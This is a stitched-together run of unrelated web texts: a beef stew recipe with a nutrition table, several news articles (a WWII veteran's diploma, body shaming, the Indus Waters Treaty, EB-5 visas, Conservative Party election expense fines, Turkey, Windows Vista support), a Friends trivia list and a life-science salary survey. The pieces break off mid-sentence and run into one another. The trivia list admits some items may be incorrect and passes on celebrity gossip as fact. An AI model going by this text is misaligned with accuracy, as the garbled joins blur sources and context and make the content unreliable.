7. Once the beef is finished, start sauteing 1 Medium Onion, 1 1/2 Cup Mushrooms, and 2 tsp. Minced Garlic in the remaining fat.
8. Once the onions are translucent, add 3 Cups Coffee, 1 Cup Beef Stock, 2/3 Cup Red Wine, and 2 Tbsp. Capers.
9. Mix everything together well, then add your beef. Bring the mixture to a boil.
10. Once mixture is boiling, turn the stove to low and cover the pan with a lid.
11. Let this cook for 3 hours on low.
12. If you want to, you can let this simmer without a lid for 30 minutes after the 3 hour mark. This will help reduce the liquids if you want a thicker sauce.
Makes 6 total servings. Per serving, it is 504 Calories, 32.2g Fats, 2.7g Net Carbs, and 42.5g Protein.
Coffee and Wine Beef Stew Calories Fats (g) Carbs (g) Fiber (g) Net Carbs (g) Protein (g) 2.5 Pounds Stew Meat 2400 150 0 0 0 250 3 Cups Coffee 7 0 0 0 0 0 1 Cup Beef Stock 45 1 0 0 0 5 1 1/2 Cup Mushrooms 30 0 3 0 3 0 2/3 Cup Red Wine (Merlot) 120 0 2 0 2 0 1 Medium Onion 46 0 11 2 9 0 3 Tbsp. Coconut Oil 360 42 0 0 0 0 2 Tbsp. Capers 4 0 0 0 0 0 2 tsp. Garlic 10 0 2 0 2 0 Totals 3022 193 18 2 16 255MESA, Ariz. - When WWII veteran Fred Souther earned his high school diploma, he didn’t get to walk at his graduation.
That’s because most of the young men graduating high school at the time were already going through basic training or being shipped overseas.
Souther finally got to walk at graduation on Wednesday night, sharing the spotlight with his two granddaughters, who were graduating from Desert Ridge High School in Mesa.
AMAZING ARIZONANS: Tucson couple celebrates 80 years of marriage
The ceremony took place at Arizona State University’s Wells Fargo Arena.
Bob Lawson, Souther’s son and the girls’ father, said the occasion was a “two-tissue box night.”
“The exciting part is my dad gets to walk with them and be a part of their graduation and finally receive his high school diploma,” he said.
PHOTOS: WWII vet finally receives diploma alongside granddaughters
PHOTOS: WWII vet finally gets to walk in high school graduation <p>WWII vet Fred Souther and his granddaughters got their high school diplomas Wednesday night May 18, 2016. </p> <p>WWII vet Fred Souther and his granddaughters got their high school diplomas Wednesday night May 18, 2016. </p> <p>WWII vet Fred Souther got to walk with his granddaughters for graduation and finally got his diploma May 18, 2016. </p> <p>WWII vet Fred Souther got to walk with his granddaughters for graduation and finally got his diploma May 18, 2016. </p>
Copyright 2016 KPNXX Factor judge Cheryl Fernandez-Versini has criticised body shaming in the media after a series of stories were published about her weight.
She also had a go at Twitter trolls who abused her after the first two X Factor shows were broadcast at the weekend.
In an interview with ES Magazine, Cheryl suggested it should be illegal to criticise someone over their weight.
"Body shaming has to stop," she said. "Something has to be done, changed, even if it's done in law."
Cheryl married restaurant owner Jean-Bernard Fernandez-Versini last year.
The 32-year-old blamed her recent weight loss on the death of her father-in law.
She told ES Magazine: "I am very happy and very healthy. Every woman has a different body type and handles stress and grief differently.
"I was a ballerina from a child, so I have really good muscle memory. When I work out, I can look like a tennis player. If I don't, I look different."
Fellow X Factor judge, Nick Grimshaw, talked about the issue on the Radio 1 Breakfast Show.
He said Cheryl was healthy and happy but that he didn't understand how she dealt with it.
"This is all everyone has talked about since it [X Factor] started.
"For me, I see she's happy and healthy and eating every day. I don't know how she puts up with it."
Earlier this week, Newsbeat asked Cheryl about her weight and the constant media speculation.
"The thing for me is that I've been doing this for 13 years now and I can take it," she said.
"But it's the people going through the same thing as me, you know, young girls, they shouldn't be having it."
The former Girls Aloud singer says she's also relieved she doesn't have to get up and sing on this year's X Factor.
"It's a lot of pressure to get from behind the desk and get onto the stage as much as I love it, and have loved it.
"I'm ready to relax this year and just focus on what I'm doing," she told Newsbeat.
Follow @BBCNewsbeat on Twitter, BBCNewsbeat on Instagram, Radio1Newsbeat on YouTube and you can now follow BBC_Newsbeat on SnapchatWorld Bank's comments came as officials from India, Pak concluded the secretary-level talks over IWT
Highlights India, Pak concluded secretary-level talks over Indus Waters Treaty India can build hydro power plant on Jhelum, Chenab, World Bank said Pakistan opposes the construction of power plants
India is allowed to construct hydroelectric power facilities on tributaries of the Jhelum and Chenab rivers with certain restrictions under the 1960 Indus Waters Treaty (IWT), the World Bank has said.The World Bank's comments came as officials from India Pakistan concluded the secretary-level talks over the IWT.Pakistan opposes the construction of the Kishanganga (330 megawatts) and Ratle (850 megawatts) hydroelectric power plants being built by India in Jammu and Kashmir, the global lender said in a fact sheet issued yesterday.Noting that the two countries disagree over whether the technical design features of the two hydroelectric plants contravene the treaty, the World Bank said the IWT designates these two rivers as well as the Indus as the "Western Rivers" to which Pakistan has unrestricted use."Among other uses, India is permitted to construct hydroelectric power facilities on these rivers subject to constraints specified in annexures to the treaty," the Bank said in its fact sheet.It noted that the talks on the technical issues of the IWT took place this week "in a spirit of goodwill and cooperation".The parties have agreed to continue discussions and reconvene in September in Washington DC, it said in a separate statement.In the lengthy fact sheet, the World Bank said Pakistan asked it to facilitate the setting up of a Court of Arbitration to look into its concerns about the designs of the two hydroelectric power projects.On the other hand, India had asked for the appointment of a neutral expert to look into the issues, contending the concerns Pakistan raised were "technical" ones.The IWT was signed in 1960 after nine years of negotiations between India and Pakistan with the help of the World Bank, which is also a signatory.The World Bank's role in relation to "differences" and "disputes" is limited to the designation of people to fulfil certain roles when requested by either or both of the parties, the fact sheet said.Earlier, in a letter dated July 25, the World Bank had assured Indian Ambassador to the US Navtej Sarna its "continued neutrality and impartiality in helping the parties to find and amicable way forward."The two countries last held talks over the two projects in March this year during the meeting of the Permanent Indus Commission (PIC) in Pakistan.Pakistan had approached the World Bank last year, raising concerns over the designs of two hydroelectricity projects located in Jammu and Kashmir.It had demanded that the World Bank, which is the mediator between the two countries under the 57-year-old water distribution pact, set up a court of arbitration to look into its concerns.The international lender had in November 2016 initiated two simultaneous processes for appointing neutral expert and establishing of a court of arbitration to look into technical differences between the two countries in connection with the projects.The simultaneous processes, however, were halted after India objected to it.After that, representatives of the World Bank held talks with India and Pakistan to find a way out separately.The talks between the two nations over the treaty come amid tensions between them after a number of terror attacks in India by Pakistan-based terror groups.Senator John Cornyn (R-TX) is looking to expand the number of wealthy foreign nationals who can pay their way to permanent legal residency in the U.S. under the EB-5 visa.
Cornyn is floating draft legislation that would essentially erase the current cap for EB-5 visas, which is set at 10,000 a year. Under the EB-5 visa, foreign nationals can claim that they will invest $500,000 and thus receive Green Cards for their family for at least two years, with pathways to citizenship available as well. The only requirement is that the EB-5 holder create 10 U.S. jobs.
Currently, the family and children of those foreign investors are included in the 10,000 EB-5 visa cap, but under Cornyn’s legislation, that would not longer be the case.
A fellow with the Center for Immigration Studies (CIS), David North, who recently testified before Congress on the EB-5 visa, told Breitbart Texas that raising the cap would potentially triple the number of foreign nationals entering the U.S. through the visa every year.
“That means tripling the number of people,” North said. “The thing is, Congress has, for something like 90 years, been putting numerical limits on migration and … the limit is 10,000 visas so that we don’t get any more people than that.”
North said that for the current 10,000 visas cap, roughly 4,000 investors enter the U.S. every year, not including their families. With Cornyn’s proposed increase, though, North told Breitbart Texas there could be 10,000 investors, alone, with approximately 25,000 foreign nationals altogether entering the U.S. every year under the program.
CIS Director Mark Krikorian called the proposed expansion of the EB-5 visa, which has been riddled with fraud and corruption since its conception, “outrageous.”
“The point of exempting family members is to give out massive amounts of visas,” Krikorian told Breitbart Texas.
Krikorian noted how Senate Judiciary Chairman Sen. Chuck Grassley (R-IA) and the ranking minority member Sen. Dianne Feinstein (D-CA) have introduced legislation to abolish the EB-5 visa altogether. But, Krikorian said Cornyn, along with Senate Minority Leader Chuck Schumer (D-NY), are trying to keep the visa program afloat.
“Cornyn’s approach is complete error,” Krikorian said.
North told Breitbart Texas that Cornyn’s proposal to dramatically raise the cap could be a bargaining tool designed to ultimately keep the EB-5 visa program intact.
An extension of the EB-5 visa was slipped into a recent spending bill passed by the House, as Breitbart Texas reported. EB-5 immigrant visa-holders primarily come to the U.S. from China. The program has endured public embarrassment for years, as more fraud cases involving the program come to light.
Breitbart Texas requested comment from Sen. Cornyn but did not receive a response by press time.
John Binder is a reporter for Breitbart Texas. Follow him on Twitter at @JxhnBinder.Here are some interesting Friends facts you may or may not have known about some episodes or the cast and crew.
(Some may be incorrect.)
You can check the Charmed season 7 scripts and Charmed scripts season 8.
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TOW George Stephanopolous…
* When Phoebe, Monica and Rachel were out on the balcony, Rachel knocks her pillow over the edge. That wasn’t really supposed to happen, but they left it in anyway.
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TOW Five Steaks and an Eggplant…
* Matt LeBlanc was according to script supposed to grab the phone when Jade called and say “Bob here!”. But when jumped for the phone he missed and fell and the editors chose to go with that instead of Joey answering the phone.
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TOW Phoebe’s Husband…
* A cut line: When Rachel is jealous of Julie, she says with a phony voice “Julie’s so smart, Julie’s so special”. Originally she added “Does she put on a cape and fight crimes at night?”
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TOW the Baby on the Bus…
* Giovanni Ribisi (Frank Jr) appeared in this episode as the guy who drops a condom in Phoebe’s guitar case.
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TO After the Superbowl Pt 2…
* Monkey and Katie (the monkeys who played Marcel) actually played the monkey in “Outbreak”.
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TOW the Ultimate Fighting Champion…
* You remember the appearance Billy Crystal and Robin Williams did in the beginning of “TOW the Ultimate Fighting Champion”?? That wasn’t in the original script. They were by coincidence in the same building-, or the one across the street from where “Friends” is shot and the writers asked if they wanted to make a guest appearance. This was apparently the day of shooting, so it was just quickly thrown in.
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TOW Rachel’s New Dress…
* Joshua Bergen’s dad was played by Matthew Perry’s dad.
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TOW Ross’s Wedding…
* A cut line: It was the scene when Rachel realized she still loves Ross. Originally it was:
Phoebe: “God, that would be like telling Monica, “Hey, you like things clean.” Or, you know, hey Joey, you’re gay.
Rachel: What!?
Phoebe: Oh, please, she’s always got a broom in her hand.
But they just kept it at:
Phoebe: God, that would be like telling Monica, “Hey, you like things clean.”
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TOW Everyone Finds Out…
* This is what Chandler and Monica says at the start when Phoebe sees them through the window:
Ch: Look, we have to talk. Your shirt is really bugging me.
Mon: Wow, that’s so weird ’cause your pants are really bugging me.
Ch: Well, let’s make each other happy and get rid of them.
* One of the reasons the audience laughed so much in this episode is when Joey told Phoebe it wasn’t the first time he opened a blouse like that is that it took MLB around twelve times to get it open.
* A Chandler and Monica line that was never used:
Ch: Why is it so hard to believe that Phoebe is attracted to me?
Mon: It’s not. I believe all the girls are attracted to you because you’re part bunny.
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TO In Vegas…
* The one and only time they’ve taken down the Central Perk stage was in “TO in Vegas” when they needed that part of the stage for Caesar’s Palace.
* Phoebe says Joey’s pin number is 5639. If you look at the letters under the numbers on a telephone, 5639 spells out ‘Joey’.
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TO After Vegas…
* To commemorate Courteney Cox’s marriage to David Arquette, the entire cast is credited with Arquette after their names.
* In the original script for “TO After Vegas” Monica’s reply to Chandler’s “oh my god, is EVERYBODY getting married?” “I don’t know, but we were next!”.
* The editor has got laughs on a computer that he can add to the episodes. This was, for example, used when Rachel said “this is not a marriage, this is the world’s worst hangover”. In that case they used it because the next line was over-laughter. JA continued to speak before the audience quieted. They changed the laughter into a shorter one because they couldn’t use one where JA had waited because that would take too long.
* After Chandler tells Joey that the waitress isn’t coming ’cause it’s a buffet, Joey’s reply in the original script wasn’t “oh, here’s where I win all my money back!”, it was “and it’s in trouble”.
* The writers and producers weren’t sure weather people would understand that Phoebe had once gotten married in Vegas and they ended up having to ask the audience.
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TOW Ross’s Library Book…
* Australian swimmer, Ian Thorpe, was an extra in Central Perk. You can clearly see him sitting at a table near the right of the screen talking to a woman.
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TOW the Stripper Cries…
* Courteney Cox was pregnant during the filming of this episode so to prevent her from getting overheated while she was wearing the fat suit, they had a tube hooked up to an air conditioner that they stuck under the costume and down her shirt so that she could cool down between takes.
* All the names that Ross lists at the start of his and Chandler’s reunion were actual names of friends and family of David Crane and Marta Kauffman.
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Miscellaneous (Show)…
* The episode title format (“The One With/Where/etc…”) was created when the producers realized that the episode titles would not be featured in the opening credits and therefore would be unknown to most of the audience. They believed that sitcom audiences generally refer to specific episodes of a show by the most memorable event of the episode (e.g. “Did you see the one where the monkey gets away?”) and decided to name their episodes in that format.
* Alternate titles to the show were “Across the Hall”, “Once Upon a Time in the West Village”, “Six Of One” and “Insomnia Cafe”.
* The opening credits pool clips were shot at the Warner Brothers lot at 5 in the morning.
* The frame around Monica’s peephole was from the beginning a mirror, but a crewmember smashed it.
* The reason why Ross and Emily’s marriage was doomed was because Helen Baxendale was pregnant when she was cast. First she used a corset, then they only showed her from the neck up.
* A break up scene for Ross and Julie was written, but the writers decided to skip it, because everyone’s hearts would be with Ross and Julie if they kept it in, instead of with Ross and Rachel.
* Every year five new musical bit is given to the music-people, so that the music will change every now and then.
* Throughout the series, 27 episode titles reference Rachel, 23 reference Ross, 15 reference Joey, 10 reference Chandler, 10 reference Phoebe and 8 reference Monica.
* The character of Ursula (Phoebe’s twin sister) first appeared in the sitcom “Mad About You” as a waitress. Kudrow played Ursula on both “Mad About You” and “Friends”. The shows creators did not originally intend for Phoebe to have a twin, but they added the character to explain why Kudrow was appearing on two different shows on the same network, at one time as a part of the same Thursday night line-up.
* Although it seems that most of the action of the series took place in Greenwich Village in Manhattan, New York City, the series was filmed in California. The exterior shot of the Friends apartment building is located at Grove and Bedford streets in the Village. No scenes featuring cast members were filmed in New York; even the show’s opening is shot around a fountain in California.
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Miscellaneous (Actors)…
* Jennifer Aniston says her favourite food is mayonnaise on white-bread sandwiches, and that she loves to make baklava.
* The name Matthew Perry uses when checking into a hotel is ‘Abe Flamon’.
* The name Jennifer Aniston and Brad Pitt use when checking into a hotel is ‘Mr. and Mrs. Ross Vegas’.
* The reason Monica cut her hair so short in season four was because Courteney Cox Arquette had those streaks in her hair from “Scream 2” and they didn’t exactly match Monica’s character.
* Courteney Cox actually auditioned for the part as Rachel, but they asked her to play Monica instead, since Monica’s the “main” character and they wanted a well-known actress for that part.
* Matt LeBlanc’s role in “Lost in Space” was from the beginning offered to Matthew Perry. He declined, however, but tipped the casting people about MLB. And that’s how Matt got the part.
* David Schwimmer was offered Will Smith’s part in “Men in Black” but turned it down.
* Chandler got his first on-screen kiss by Jill Goodacre Connick. She is married to Harry Connick, who starred in ID4 as Will Smith’s friend who dies in the first air battle with the aliens. That part was first offered to Matthew Perry.
* Joey hurting his arm and having it in a cast was not part of the original storyboard, it was just thrown in. Matt LeBlanc dislocated his shoulder on the set and that’s how Joey ended up falling of the bed and hurting his arm.
* Carol’s obstetrician in TOW the Birth was played by David Schwimmer’s best friend Jonathan Silverman.
* Terry, Central Perk’s manager, is played by the dad in “Alf”.
* Alan, the guy Monica dated and the others loved, is played by the priest from “Dr. Quinn”.
* A funny note is that David Schwimmer played a student guidance counselor in “Apt. Pupil” and he mentioned Brad Renfro’s character’s parents being named Monica and Richard.
* Reese Witherspoon was signed up for around six episodes, but apparently Jennifer Aniston disliked her and asked the producers to fire her.
* Jennifer Aniston had a painting exhibited at New York’s Metropolitan Museum of Art when she was just 11.
* Matt LeBlanc once won an award for a tomato sauce (Ketchup) commercial.
* The first female member of the cast that Matthew Perry ever kissed (as far as we know *wink, wink* lol) was Jennifer Aniston, and not Courteney Cox Arquette as most seem to think.
* David Schwimmer directed several episodes.Image copyright Getty Images
The Conservative Party has been fined a record £70,000 for breaking election expenses rules.
The party insists its failure to report six figure sums it spent on trying to win three by-elections and the general election was an "administrative error".
The Electoral Commission said there was a "realistic prospect" the money had given the party an advantage.
The Metropolitan Police is now looking at the evidence to see if the reporting omissions were deliberate.
The party broke spending rules by moving campaigners and staff from its national headquarters to boost local party efforts and not properly declaring their hotel bills and expenses.
The investigation, which followed Channel 4 News' investigation, found:
The Conservative Party's 2015 UK Parliamentary general election spending return was missing payments worth at least £104,765
Separately, payments worth up to £118,124 were either not reported to the commission or were incorrectly reported by the party
The party did not include the required invoices or receipts for 81 payments to the value of £52,924
The party failed to maintain records explaining the amounts it invoiced to candidates in three 2014 by-elections, for work on their campaigns
The successful Conservative campaign in South Thanet to see off a challenge by then UKIP leader Nigel Farage at the 2015 general election was among those criticised in the commission's report.
The Electoral Commission found the Conservative Party also failed to correctly report all expenditure on a national battlebus campaign, which helped David Cameron win a majority at the general election.
It has referred a possible criminal offence - of whether Simon Day, the Conservative Party's registered treasurer until April 2016, "knowingly or recklessly made a false declaration" - to the Metropolitan Police.
Labour and the Lib Dems have previously been fined for breaking election spending rules prompting the Electoral Commission to warn that "there is a risk that some political parties might come to view the payment of these fines as a cost of doing business".
Speaking at a charity event in London on Thursday evening, Mr Cameron said he had won the general election "fairly and squarely", and that he was happy with a statement made earlier by Conservative head office.
The Conservatives said "there needs to be a review of how the Electoral Commission's processes and requirements could be clarified or improved".
Analysis - by Political Editor Laura Kuenssberg
Seventy thousand pounds is a lot of money, but in the context of a political campaign where millions of pounds are spent, it's not exactly going to break the Tories' bank. But the political cost of what might happen next is much higher.
Thirteen police forces are now looking at whether the mistakes made might constitute criminal offences. If that was to happen, there could be by-elections in seats around the country, that could seriously affect the PM's unhealthily slim majority in Parliament.
And the whiff of financial wrong-doing is an odour no political party wants. But how likely is that actually to happen?
Senior Tory sources tell me they think it's unlikely the mistakes, and there were plenty of them, will reach the hurdle for the prosecution. The CPS has to believe there is a good chance of a successful conviction, and while this is speculation, senior Tories don't believe in most of the cases that's likely.
Read Laura's blog in full
Q&A: Conservative election expenses row
The Commission's chief executive Claire Bassett told BBC Radio 5 live the investigation had taken much longer than necessary because of "some difficulties" in getting information from the Conservative Party.
She added that having had to get a court order to get information was "very disappointing".
Electoral Commission chairman Sir John Holmes said: "Our investigation uncovered numerous failures by a large, well-resourced and experienced party to ensure that accurate records of spending were maintained and that all of the party's spending was reported correctly."
He added that failure to follow the rules "undermines voters' confidence in our democratic processes".
But senior Conservative MP Oliver Letwin said that spending record "mistakes" were probably down to "human error".
Media playback is unsupported on your device Media caption CEO of Electoral Commission tells Today they don't know if Tory expenses misreporting was deliberate
Media playback is unsupported on your device Media caption Conservative MP Sir Oliver Letwin tells Today expenses misreporting probably down to human error
"I don't think you should conclude from this that there is some great conspiracy," he told BBC Radio 4 Today's programme.
The Electoral Commission's investigation covered the national party rather than spending by individual candidates, which local police forces have been looking into.
Twelve police forces have asked the Crown Prosecution Service to consider charges over election expenses.
BBC Political Editor Laura Kuenssberg said that if prosecutions go ahead "we could be looking at by-elections".
In response to the Electoral Commission report, a Conservative spokesman said it had "complied fully... and will pay the fines".
"This investigation and these fines relate to national spending |
ised the importance of Turkey remaining a part of the western alliance, carrying the traumas and bitter experiences of the empire's final decades. "Troop numbers don't win wars; technology does," was the motto, and according to this logic, Turkey had to situate itself among the most advanced technologies of the world if it wanted to stand a chance at surviving in a troublesome neighbourhood.
While the "new Turkish foreign policy" is heavily attributed to Prime Minister Ahmet Davutoglu, it actually derives from a much older political tradition. Following Alexander Wendt's constructivist critique of anarchy as an integral component of the world system, the new Turkish foreign policy criticised the older approach, which saw every incident in its vicinity as a security threat.
At the beginning of the new millennium, Turkey had over-accumulated deterrence from the last century and the new era required friends and partners, not potential security threats.
Pax Erdogana was thus a call for de-securitisation; elimination of threat perceptions from mainstream political discourse. Davutoglu's "zero problems policy" was just one way to legitimise a new de-securitisation regime, whereas the proliferation of an unmanageable number of peace-making initiatives (generously initiated, but rarely finalised) reinforced Turkey's "soft power".
By embracing its "historical area of influence", Turkey would wake up from its isolation and start re-engaging with former Ottoman territories in a proactive way. But, while Pax Ottomana drew its strength from diversity, Pax Erdogana viewed diversity as confusion or distraction. Thus emerged the fundamental dilemma of Pax Erdogana: too localised in its administrative and cultural capital to be able to make a larger, regional impact.
Closed circle
The narrow nature of this worldview was exacerbated by the persistent appointment of party loyalists to key positions in foreign policy decision-making, which otherwise required years of training and hands-on experience.
As the foreign policy cadre was reduced to a closed circle, which brewed in its own echo chamber, Ankara's ability to make sense - let alone impact regional actors - diminished exponentially. Out of three highest-risk decisions Turkey made after 2011 - Morsi, Assad and Kobane - all have backfired with significant backlash. Turkey was perhaps theoretically righteous in the first two decisions, and strategically true in the latter, but the new Turkish foreign policy was never really good at calculating beyond short-term implications and viewed essential tools of international affairs - caution, balancing, foresight and planning - as unwelcome distractions. Not evacuating the Mosul consulate, despite ISIL's advance, resulting in the consulate staff being taken hostage, was perhaps the most dire and recent of these examples.
The final gambit of Pax Erdogana came crumbling down in Kobane in the early hours of October 20, as US C-130s airdropped arms and supplies, while Iraqi Peshmerga will soon cross the Turkish border to reinforce the town.
Seizing history
Ankara had exerted its weight on issues that had little relevance to its long-term interests for the sake of "seizing history" and disregarded more immediate concerns that required its attention. Just as Pax Ottomana ended, Pax Erdogana found its overstretched calculations in far-off territories creating a myopia that impeded Ankara's ability to deal with threats, as well as to seize opportunities next door.
More than ever, the Turkish foreign policy establishment is at a crossroads: Turkey can follow in the footsteps of an amply tried and failed web of predispositions and distorted preconceptions, or it can return to the drawing board and take a long, hard look at what went wrong, and why. The former option can go all the way to Turkey leaving NATO and creating a dangerous self-isolation, impossible to be spin-doctored into "splendid isolation" variants.
On the other hand, the latter option can indeed help create a regional "pax", which is true to its name and purpose, where Turkey can use its diverse identity, worldviews and capabilities. The extent to which this soul-searching is done truthfully and honestly will determine the future level of success and impact of the Turkish foreign policy phoenix - if it is ever going to rise from its ashes.
Akin Unver is an assistant professor of international relations at Kadir Has University, Istanbul, and an energy and political risk consultant. He is the winner of 2010 MESA Social Sciences Award and a former lecturer at Princeton University's Near Eastern Studies Department.Two children face two years in jail for tearing down Erdoğan poster
DİYARBAKIR
AFP photo
Two children aged 12 and 13 have been arrested on charges of “insulting the Turkish president” after allegedly tearing down posters showing a photo of President Recep Tayyip Erdoğan, news website Radikal has reported.The two cousins, identified only by the initials R.Y. and R.T., now each face up to two years and four months in prison, upon approval of the case by the Justice Ministry.R.Y. and R.T., two cousins, were detained on May. 1 for tearing down the posters outside the local highway directorate in the southeastern province of Diyarbakır.In his testimony, R.Y. reportedly said the two were heading back home from the market and they wanted to remove the posters from the billboards in order to sell them to a junk dealer.“We did not care about whose posters they were. We just wanted to remove them in order to sell them to a junk dealer,” R.Y. said.The Diyarbakır Chief Public Prosecutor’s Office applied to the Justice Ministry to file a lawsuit against the two children, as Article 299 of the Turkish Criminal Code (TCK) states that filing a legal case on charges of “defaming the Turkish president” must be done upon approval from the Justice Ministry.After approval from the ministry, the case was filed against the two cousins in the Diyarbakır 1st Children Court.The prosecutor’s office also asked for implementation of Article 5 of the Child Protection Law, which means counselling the family of the children in question, assuring their school attendance, and assuring their health conditions.The article also includes the settlement of children implicated in criminal activities in a children’s home after serving their time in a young offenders’ prison.The first court hearing will be held on Dec. 8 this year, as the indictment prepared by the prosecutor’s office has been accepted by the Diyarbakır First Children’s Court.The children’s lawyer, İsmail Korkmaz, said the charges of “insulting the Turkish president” were “unclear” and it was difficult for children to even know who the posters showed.“It is devastating to see two children being tried for tearing down a poster of the president,” Korkmaz added, slamming Turkey’s “illiberal” justice system.Editor's Note: An earlier version of this story incorrectly identified Office 2007 as also exiting mainstream support this week.
Microsoft is shifting Windows Vista into what it calls extended support.
Vista, the problem-plagued operating system that never really took hold among users, will exit mainstream support today.
In a product's extended support phase, Microsoft continues to provide security patches to all users, but offers other fixes -- such as reliability and stability updates -- only to organizations that have signed support contracts with the company.
Just seven weeks ago, Microsoft quietly extended support for the consumer versions of Windows Vista -- as well as Windows 7 -- by five years to synchronize their support lifecycle with that of the comparable enterprise editions.
Previously, Microsoft had committed to supporting consumer software with security updates for just five years, not the 10 granted to business software.
Vista's last major update was Service Pack 2 (SP2), which debuted in May 2009.
Windows Vista's share of in-use operating systems has fallen dramatically since Microsoft introduced Windows 7 in October 2009. By the calculations of Web metrics firm Net Applications, Vista now accounts for just 7.7% of all operating systems, and 8.3% of the machines running Windows.
Vista peaked at 19.1% in October 2009 and has been falling ever since. At the rate of its decline over the last 12 months, Vista will slip under the 5% bar in January 2013.
Windows Vista will continue to run, of course: The migration into extended support does not make it inoperable. Microsoft will deliver security updates for Vista until mid-April 2017.
Users will be able to upgrade their Vista PCs to Windows 8 when it ships later this year.
Gregg Keizer covers Microsoft, security issues, Apple, Web browsers and general technology breaking news for Computerworld. Follow Gregg on Twitter at @gkeizer, on Google+ or subscribe to Gregg's RSS feed. His email address is gkeizer@computerworld.com.
See more by Gregg Keizer on Computerworld.com.© LUCIANO LOZANO/GETTY IMAGES
As part of this year’s Life Science Salary Survey, more than 2,500 life science professionals from around the world answered our questions about their job status, compensation, feelings of job satisfaction and security, the inclusion of women and minorities in their workplace, and more. The survey results are in, and highlight some intriguing trends in workplace culture and income across sector, specialty, rank, and gender.
AROUND THE WORLD
In line with last year’s survey results, scientists and life science professionals living in the U.S. and Canada are the highest paid out of scientists from all the countries we surveyed, making an average of $94,894 per year—anywhere from $36,000 to nearly $60,000 more than average salaries reported from Europe, Asia, and Latin America.
This year, European salaries come in second, and Asia and Latin America trail far behind (though they’re gaining ground, as compared with last year’s data). Moreover, 68 percent of life scientists working in the U.S. and Canada report that they’ve received a raise within the last year. And although only 30 percent report negotiating their salaries, these respondents were the most likely to do so of those from any region; in Latin America, by contrast, only 10 percent of life science professionals said they’d negotiated their compensation.
But cultural trends in North American workplaces are not all positive. For example, only about 68 percent of life scientists in the U.S. and Canada reported that there’s adequate representation of women and minorities in their workplace, compared with at least 74 percent of scientists reporting from other regions around the globe. These data are in line with a 2017 report by the National Science Foundation (NSF), which found that women and minorities are disproportionately lacking in the scientific workforce within the U.S. On the other hand, 88 percent of responding scientists in the U.S. and Canada do feel that their workplaces are safe and welcoming for women and minorities, a level that’s comparable with responses from scientists in Europe and Asia.
ON INDUSTRY AND THE IVORY TOWER
US academic respondents to The Scientist’s survey report salaries consistent with last year’s. Also consistent with last year’s data is the considerable bump in average yearly wages from associate professor to professor—almost a $50,000 difference. Bargaining power is relatively low until one reaches a certain level of seniority, says labor economist Michael Roach of Cornell University.
Averaging across different positions within sectors, industry professionals make more than other life scientists in the U.S., pulling in $125,936 per year, compared with the $86,021 of academics and $97, 525 of those in other sectors such as government. “I’ve seen even higher wages [in industry] than what’s been reported in this recent survey,” says Roach, referring to his own data that are yet to be published. In his surveys, he and colleagues home in on the private sector, examining wage differences between big companies and start-ups, for instance. His data, however, include PhD students from chemistry, physics, and engineering, in addition to the life sciences.
But regardless of field, industry salaries are higher. “It’s always been that way,” says Roach. He’s not aware of any systematic analysis probing the primary drivers of such differences in pay scale, but believes there could be multiple forces at play. For starters, in academia, “there’s a high demand for faculty positions,” he explains, driven by the flood of applicants and the lack of available jobs. This environment is highly competitive, and universities have the advantage. “If people try to make demands for very high salaries, then universities will go on to the next most able person,” he says. “They’re really not going to give in.... This helps keep wages from getting too big.”
But the lower salaries aren’t necessarily a turn-off for most faculty candidates, Roach adds. “The stereotype is that faculty are not in it for the money. A lot of people get into science and graduate research out of a love of science.”
On the industry side, however, the demand for candidates is greater. “There’s a lot of competition in the private sector for highly trained STEM workers, especially PhDs, which drives down the unemployment rate and drives high salaries,” Roach explains. In addition to higher salaries, PhDs in the private sector also enjoy lower unemployment, according to his unpublished data.
WOMEN IN SCIENCE
There were far more male than female respondents within senior levels in US academia, especially amongst full professors, which, according to economist Shulamit Kahn of Boston University’s Questrom School of Business, reflects a larger trend. “There are a ton more men at the full-professor level,” she says.
*Note: The gender gap in academia is greatly diminished when the data are broken down by position. See graph below.
Roach agrees and says that the difference in the number of male and female respondents is unlikely to be due to a response bias. “I think that there are a lot fewer women at the full-professor rank.... It’s not at all surprising that you see more equality in the lower ranks.” For instance, in the U.S. the number of respondents is well-matched by gender among less-senior academics, such as graduate students, postdocs, and even assistant professors.
He cautions against interpreting these data to mean that there are forces that “favor men and push women out,” however. He adds that he believes this discrepancy is improving, noting that greater gender equality within lower academic ranks in The Scientist’s survey results should eventually translate to more-equal numbers at the senior level. “The practices around recruiting graduates, mentoring graduates, and hiring graduates have changed over time, to where we do have greater equality now than we did 20 years ago,” says Roach. “Come back and do this 10–15 years from now, and I would expect that the number of full professors could be very equal as well.”
The Center for Science, Technology & Economic Policy Director Donna Ginther agrees. “There are more male professors in the senior ranks because women were less likely to obtain PhDs 20–30 years ago,” she writes in an email to The Scientist.
Gender differences in salary also appear to be improving. In a soon-to-be-published study, Kahn says she and her colleagues found a roughly 17 percent difference in pay between men and women in the sciences. But, she says, most of those salary differences were accounted for by a variety of factors, including pay gaps by sector. For instance, those who work in industry get paid more, and in general, there are fewer women in industry.
However, Roach notes women working in industry tend to make less money than men. “We see significant differences in wages between men and women in the surveys that we do.” In his recent survey of industry scientists, “men still make significantly more than women.”
According to Ginther, a similar gap doesn’t exist for academia. Her previous data “showed no evidence of a gender salary gap in academia in biomedical fields,” she writes (Psychol Sci Public Interest, 15:75-141, 2014). Indeed, when broken down by rank, The Scientist’s data showed very little difference between the salaries of men and women in US academia, with female full professors averaging less than $1,500 less than their male counterparts. Gender differences in pay scale become much smaller “if you start comparing apples to apples,” says Kahn, who has seen similar trends in her own data.
IF YOU’RE HAPPY AND YOU KNOW IT
Respondents to The Scientist’s survey also rated their feelings of satisfaction and security in their current roles and salaries. And around the globe, responses varied widely.
Overall, no region’s scientists reported high satisfaction with their compensation. In the U.S. and Canada, 47 percent of respondents said they were satisfied with their wages, and only 41 percent felt that their skills and experience matched their salaries, suggesting that more than half of life scientists in North America feel underpaid. And those numbers were even lower in Europe, Asia, and Latin America. But that doesn’t necessarily mean that these life scientists are unhappy.
According to Roach, there are “nonfinancial work factors that drive work satisfaction.” From the hundreds of interviews Roach has conducted with respondents to his own surveys, one thing that stands out as a primary driver of job satisfaction is the freedom to satisfy one’s research goals and interests. “We see in our research that salary is not typically a driving factor, as it might be in other kinds of careers.” In the U.S. and Canada, nearly 85 percent of respondents reported feeling stimulated in their current roles, suggesting that a large majority experience intellectual gratification.
“Intellectual challenge and a fit and interest with the type of work that you’re doing is typically pretty important,” says Roach. “It’s really much more [about] doing exciting and interesting things.”(Melina Mara/The Washington Post)
“You will not find that I ever changed a view or a vote because of any donation that I ever received.”
